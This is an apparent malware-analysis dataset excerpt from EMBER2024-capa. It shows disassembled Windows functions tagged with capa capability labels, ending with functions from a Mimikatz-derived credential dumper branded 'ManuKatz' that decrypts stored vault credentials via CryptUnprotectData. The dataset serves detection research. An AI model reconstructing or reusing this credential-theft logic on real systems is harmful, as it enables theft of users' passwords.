joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18002319c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180031000
sub rsp, rax
mov rax, qword [0x180043d58]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180021b08
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800231eb
mov rax, rbp
jmp 0x1800232f3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x46540]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1800242bc
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x46540]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800232ef
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800232ef
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1800242bc
test rax, rax
js 0x1800232ef
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800232ef
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800232e1
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800232e1
cmp byte [rcx], 0xd
jne 0x1800232c7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800232d6
cmp byte [rcx + 1], 0xa
jne 0x1800232d6
inc rcx
jmp 0x1800232d6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x441b0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1800232a9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800232f3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18000f0f0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180023514
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18002352a
mov al, 1
jmp 0x18002358a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18002353b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180023588
mov ecx, dword [rcx + 0x18]
nop
call fcn.18002c2f4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180023588
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180023588
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180023588
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18002358a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18002365c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180046540]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1800236b3
cmp word [rdx], r13w
jne 0x1800236b3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1800236b8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1800237dd
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1800237fe
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1800236f1
mov rdx, r9
mov word [rbx], cx
jmp 0x180023718
cmp r9, r8
jae 0x180023728
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1800236d2
jmp 0x1800237dd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800237d2
cmp dword [rsp + 0x80], esi
je 0x1800237d2
lea r8, [0x180046540]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1800237aa
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18002377a
mov word [rbx], r13w
jmp 0x1800237da
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180023787
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1800237da
cmp word [rsp + 0x70], r13w
jne 0x1800237b7
cmp rbx, r14
je 0x180023774
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1800242c4
cmp word [rsp + 0x70], r13w
je 0x1800237dd
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180046540]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1800237d7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1800237dd
Function at 0x180025b2c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x180025b4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18001dcc4
or eax, 0xffffffff
jmp 0x180025b4e
xor eax, eax
add rsp, 0x28
ret
Function at 0x1800272f8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180027328
xor eax, eax
jmp 0x1800273eb
mov rbp, rbx
cmp word [rax], si
je 0x18002734d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180027334
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180027330
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180027218
movsxd r14, eax
test eax, eax
jne 0x18002738b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180027321
mov rcx, r14
call fcn.18001ed8c
mov rdi, rax
test rax, rax
jne 0x1800273a4
xor ecx, ecx
call fcn.180020d88
jmp 0x180027380
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180027218
test eax, eax
jne 0x1800273d5
mov rcx, rdi
call fcn.180020d88
jmp 0x1800273df
xor ecx, ecx
call fcn.180020d88
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18002b908
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18001f1a8
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18002b9a9
cmp ebx, dword [rsp + 0x30]
je 0x18002b9a2
test esi, esi
je 0x18002b9a2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18002b97d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18002b98a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18002b967
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18002b98e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18002b9ab
mov eax, 1
jmp 0x18002b9ab
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180030664
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800242c4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800242c4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800307b4
cmp rax, 0xffffffffffffffff
je 0x1800307b4
xor edi, edi
test rbp, rbp
jle 0x18003075f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180020dc4
mov rbx, rax
test rax, rax
jne 0x1800306ec
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180030755
mov edx, 0x8000
mov ecx, r14d
call fcn.1800304e8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180022a14
cmp eax, 0xffffffff
je 0x180030735
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800306fc
mov edx, r15d
mov ecx, r14d
call fcn.1800304e8
jmp 0x180030755
cmp byte [rsi + 0x38], dil
je 0x18003074c
cmp dword [rsi + 0x34], 5
jne 0x18003074c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x180030755
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180020d88
jmp 0x1800307c8
jns 0x1800307c8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800242c4
cmp rax, 0xffffffffffffffff
jne 0x180030780
cmp byte [rsi + 0x30], dil
je 0x1800307c8
mov edi, dword [rsi + 0x2c]
jmp 0x1800307c8
mov ecx, r14d
call fcn.18002c2f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800307c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800307c8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800307c1
mov eax, dword [rsi + 0x2c]
jmp 0x1800307c6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800242c4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140002bb0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x50e80]
mov eax, 0x50f80
call fcn.14000fd90
sub rsp, rax
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rbp + 0x50e70], rax
xor ebx, ebx
mov dword [rsp + 0x68], 0x10001
mov dword [rsp + 0x28], ebx
lea r8, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
or edx, 0xffffffff
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x6c], 0x2b2a
mov dword [rsp + 0x70], 0x2b2a
mov dword [rsp + 0x74], 0x80001
mov word [rsp + 0x78], bx
call qword [sym.imp.WINMM.dll_waveOutOpen]
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x50eec
call fcn.140005360
mov eax, ebx
lea r8, [rbp - 0x80]
nop
mov edx, eax
lea r8, [r8 + 1]
shr edx, 0xa
and dl, 5
xor dl, al
movzx ecx, dl
shl cl, 2
add dl, cl
mov ecx, eax
shr ecx, 5
add dl, dl
or dl, cl
inc eax
mov byte [r8 - 1], dl
cmp eax, 0x50eec
jb 0x140002c40
mov rcx, qword [rsp + 0x30]
lea rax, [rbp - 0x80]
mov r8d, 0x30
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x40], 0x50eec
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov r8d, 0x30
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov r8d, 0x30
call qword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WINMM.dll_waveOutClose]
mov rcx, qword [rbp + 0x50e70]
xor rcx, rsp
call fcn.140003c00
mov rbx, qword [rsp + 0x50f90]
add rsp, 0x50f80
pop rbp
ret
Function at 0x140002e50
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x50e80]
mov eax, 0x50f80
call fcn.14000fd90
sub rsp, rax
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rbp + 0x50e70], rax
xor ebx, ebx
mov dword [rsp + 0x68], 0x10001
mov dword [rsp + 0x28], ebx
lea r8, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
or edx, 0xffffffff
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x6c], 0x2b2a
mov dword [rsp + 0x70], 0x2b2a
mov dword [rsp + 0x74], 0x80001
mov word [rsp + 0x78], bx
call qword [sym.imp.WINMM.dll_waveOutOpen]
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x50eec
call fcn.140005360
mov r9d, ebx
lea r10, [rbp - 0x80]
nop
mov edx, r9d
lea r10, [r10 + 1]
shr edx, 0xa
mov eax, r9d
and dl, r9b
shr eax, 9
xor dl, 0xa
movsx ecx, al
movsx r8d, dl
mov eax, r9d
imul r8d, ecx
shr eax, 6
movsx ecx, r9b
movsx edx, al
imul edx, ecx
and dl, r9b
inc r9d
or r8b, dl
mov byte [r10 - 1], r8b
cmp r9d, 0x50eec
jb 0x140002ee0
mov rcx, qword [rsp + 0x30]
lea rax, [rbp - 0x80]
mov r8d, 0x30
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x40], 0x50eec
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov r8d, 0x30
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov r8d, 0x30
call qword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WINMM.dll_waveOutClose]
mov rcx, qword [rbp + 0x50e70]
xor rcx, rsp
call fcn.140003c00
mov rbx, qword [rsp + 0x50f90]
add rsp, 0x50f80
pop rbp
ret
Function at 0x140003270
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x50e80]
mov eax, 0x50f80
call fcn.14000fd90
sub rsp, rax
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rbp + 0x50e70], rax
xor ebx, ebx
mov dword [rsp + 0x68], 0x10001
mov dword [rsp + 0x28], ebx
lea r8, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
or edx, 0xffffffff
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x6c], 0x2b2a
mov dword [rsp + 0x70], 0x2b2a
mov dword [rsp + 0x74], 0x80001
mov word [rsp + 0x78], bx
call qword [sym.imp.WINMM.dll_waveOutOpen]
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x50eec
call fcn.140005360
mov eax, ebx
lea r8, [rbp - 0x80]
nop
mov edx, eax
lea r8, [r8 + 1]
shr edx, 8
mov ecx, eax
shr ecx, 5
xor dl, cl
movzx ecx, al
shl cl, 4
xor dl, cl
xor dl, al
inc eax
mov byte [r8 - 1], dl
cmp eax, 0x50eec
jb 0x140003300
mov rcx, qword [rsp + 0x30]
lea rax, [rbp - 0x80]
mov r8d, 0x30
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x40], 0x50eec
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
call qword [sym.imp.WINMM.dll_waveOutPrepareHeader]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov r8d, 0x30
call qword [sym.imp.WINMM.dll_waveOutWrite]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov r8d, 0x30
call qword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WINMM.dll_waveOutClose]
mov rcx, qword [rbp + 0x50e70]
xor rcx, rsp
call fcn.140003c00
mov rbx, qword [rsp + 0x50f90]
add rsp, 0x50f80
pop rbp
ret
Function at 0x140006a84
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140006858
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006858
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006858
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006858
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006858
cmp dword [rcx + 0x84], 0xe
jbe 0x140006858
cmp dword [rcx + 0xf8], esi
je 0x140006858
mov ecx, r14d
call fcn.1400069a0
mov ecx, 2
call fcn.14000a708
nop
cmp byte [0x140028208], 0
jne 0x140006922
mov r15d, 1
mov eax, r15d
xchg dword [0x1400281fc], eax
test ebx, ebx
jne 0x1400068cb
mov rdi, qword [0x140027008]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140028200]
cmp rcx, rax
je 0x1400068c2
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140004c88]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140028218]
jmp 0x1400068d7
cmp ebx, r15d
jne 0x1400068dd
lea rcx, [0x140028230]
call fcn.140006f94
nop
test ebx, ebx
jne 0x1400068f4
lea rdx, [0x140013448]
lea rcx, [0x140013428]
call fcn.140006718
lea rdx, [0x140013458]
lea rcx, [0x140013450]
call fcn.140006718
movzx eax, byte [0x140028208]
test esi, esi
cmove eax, r15d
mov byte [0x140028208], al
jmp 0x140006922
mov ecx, 2
call fcn.14000a75c
test esi, esi
jne 0x140006939
mov ecx, r14d
call fcn.140006954
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400067e8
Function at 0x140082864
Capabilities:
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
mov eax, 0x20020
call fcn.1400e1ac0
sub rsp, rax
xor r14d, r14d
movsxd rbx, ecx
mov rsi, rdx
mov edi, r14d
lea ecx, [r14 + 1]
call fcn.1400c8cf4
mov rcx, rax
call fcn.1400c92ac
mov ebp, 0x40000
mov ecx, eax
mov edx, ebp
call fcn.1400c90d4
lea ecx, [r14 + 2]
mov dword [0x14015e318], eax
call fcn.1400c8cf4
mov rcx, rax
call fcn.1400c92ac
mov ecx, eax
mov edx, ebp
call fcn.1400c90d4
mov dword [0x14015e310], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov ecx, 0xfde9
mov dword [0x14015e314], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rcx, str.ManuKatz_2.2.0_x64__oe.eo_
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea edx, [r14 + 1]
lea rcx, [0x140082a94]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea rcx, str._n__..___ManuKatz_2.2.0__x64__19041_Sep__4_2024_21:24:59_n_.__.___A_La_Vie__A_LAmour_____oe.eo__n_________Benjamin_DELPY__gentilkiwi____benjamin_gentilkiwi.com___n______________https:__blog.gentilkiwi.com_ManuKatz_n__v________Vincent_LE_TOUX_______________vincent.letoux_gmail.com___n____________https:__pingcastle.com___https:__mysmartlogon.com___n
call fcn.14000bdb4
lea ecx, [r14 + 1]
call fcn.140082aa8
mov rbp, rbx
cmp rbx, 1
jle 0x14008296e
lea ebx, [r14 + 1]
cmp edi, 0xc000010a
je 0x140082a0a
cmp edi, 0xc000004b
je 0x1400829fe
mov rdx, qword [rsi + rbx*8]
lea rcx, str._nManuKatz_commandline____s_n
call fcn.14000bdb4
mov rcx, qword [rsi + rbx*8]
call fcn.140082ba4
inc rbx
mov edi, eax
cmp rbx, rbp
jl 0x14008292e
jmp 0x1400829fe
cmp edi, 0xc000004b
je 0x140082a0a
lea rcx, str._nManuKatz_
call fcn.14000bdb4
xor ecx, ecx
call fcn.1400c8cf4
mov rcx, rax
call fcn.1400c8f30
xor ecx, ecx
call fcn.1400c8cf4
mov r8, rax
lea rcx, [rsp + 0x20]
mov edx, 0xffff
call fcn.1400d3c80
test rax, rax
je 0x1400829fe
lea rcx, [rsp + 0x20]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r14w
jne 0x1400829bc
test rax, rax
je 0x1400829fe
cmp word [rsp + 0x20], 0xa
je 0x1400829fe
cmp word [rsp + rax*2 + 0x1e], 0xa
jne 0x1400829e1
mov word [rsp + rax*2 + 0x1e], r14w
lea rdx, [rsp + 0x20]
lea rcx, [0x140112188]
call fcn.14000bf68
lea rcx, [rsp + 0x20]
call fcn.140082ba4
mov edi, eax
cmp edi, 0xc000010a
jne 0x14008296e
mov ecx, edi
call fcn.140082a14
int3

Function at 0x140082a14
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
call fcn.140082aa8
xor edx, edx
lea rcx, [0x140082a94]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, 1
call fcn.1400c8cf4
mov rcx, rax
call fcn.1400c92ac
mov edx, dword [0x14015e318]
mov ecx, eax
call fcn.1400c90d4
mov ecx, 2
call fcn.1400c8cf4
mov rcx, rax
call fcn.1400c92ac
mov edx, dword [0x14015e310]
mov ecx, eax
call fcn.1400c90d4
mov ecx, dword [0x14015e314]
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
xor ecx, ecx
cmp ebx, 0xc000004b
jne 0x140082a8d
call qword [sym.imp.KERNEL32.dll_ExitThread]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400b0550
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
lea rdx, str.Microsoft_WinInet_
mov rcx, qword [rcx + 8]
call fcn.1400c3d20
test rax, rax
je 0x1400b05ff
mov edx, dword [rbx + 0x20]
cmp edx, 0x14
jb 0x1400b0772
mov rcx, qword [rbx + 0x28]
mov rax, qword [rcx + 4]
cmp rax, qword [0x1400edc10]
jne 0x1400b0772
mov rax, qword [rcx + 0xc]
cmp rax, qword [0x1400edc18]
jne 0x1400b0772
lea rax, [0x1400eccf0]
mov dword [rbp - 0x20], edx
mov qword [rbp - 8], rax
lea r8, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov qword [rbp - 0x18], rcx
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x20]
and dword [rsp + 0x28], 0
xor r9d, r9d
and qword [rsp + 0x20], 0
xor edx, edx
mov dword [rbp - 0x10], SQLSetEnvAttr
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400b075e
lea rcx, str.___CredentialBlob:
jmp 0x1400b0735
mov rcx, qword [rbx + 8]
lea rdx, str.AppSense_DataNow_
call fcn.1400c3d20
test rax, rax
je 0x1400b0772
lea rcx, str._Ivanti_FileDirector_credential_blob__n
call fcn.14000bdb4
cmp dword [rbx + 0x20], 0x14
jb 0x1400b0772
mov rbx, qword [rbx + 0x28]
lea rcx, str.AppN_DN_Win
mov rdx, rbx
call fcn.1400e2160
test eax, eax
jne 0x1400b0772
cmp dword [rbx + 0xc], eax
je 0x1400b06da
lea rcx, str.Decrypting_additional_blob_n
call fcn.14000bdb4
mov eax, dword [rbx + 0xc]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], eax
xor r9d, r9d
lea rax, [rbx + 0x14]
xor r8d, r8d
mov qword [rbp - 0x18], rax
xor edx, edx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400b06c6
lea rcx, str.___CredentialBlob:
call fcn.14000bdb4
mov edx, dword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
call fcn.14001275c
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000bdb4
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400b06da
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.14000bdb4
cmp dword [rbx + 0x10], 0
je 0x1400b0772
lea rcx, str.Decrypting_additional_blob_n
call fcn.14000bdb4
mov eax, dword [rbx + 0x10]
lea rcx, [rbx + 0x14]
mov dword [rbp - 0x20], eax
xor r9d, r9d
mov eax, dword [rbx + 0xc]
xor r8d, r8d
add rcx, rax
xor edx, edx
lea rax, [rbp - 0x30]
mov qword [rbp - 0x18], rcx
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x20]
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400b075e
lea rcx, str.___UnkBlob_______:
call fcn.14000bdb4
mov edx, dword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
call fcn.14001275c
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000bdb4
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400b0772
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.14000bdb4
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret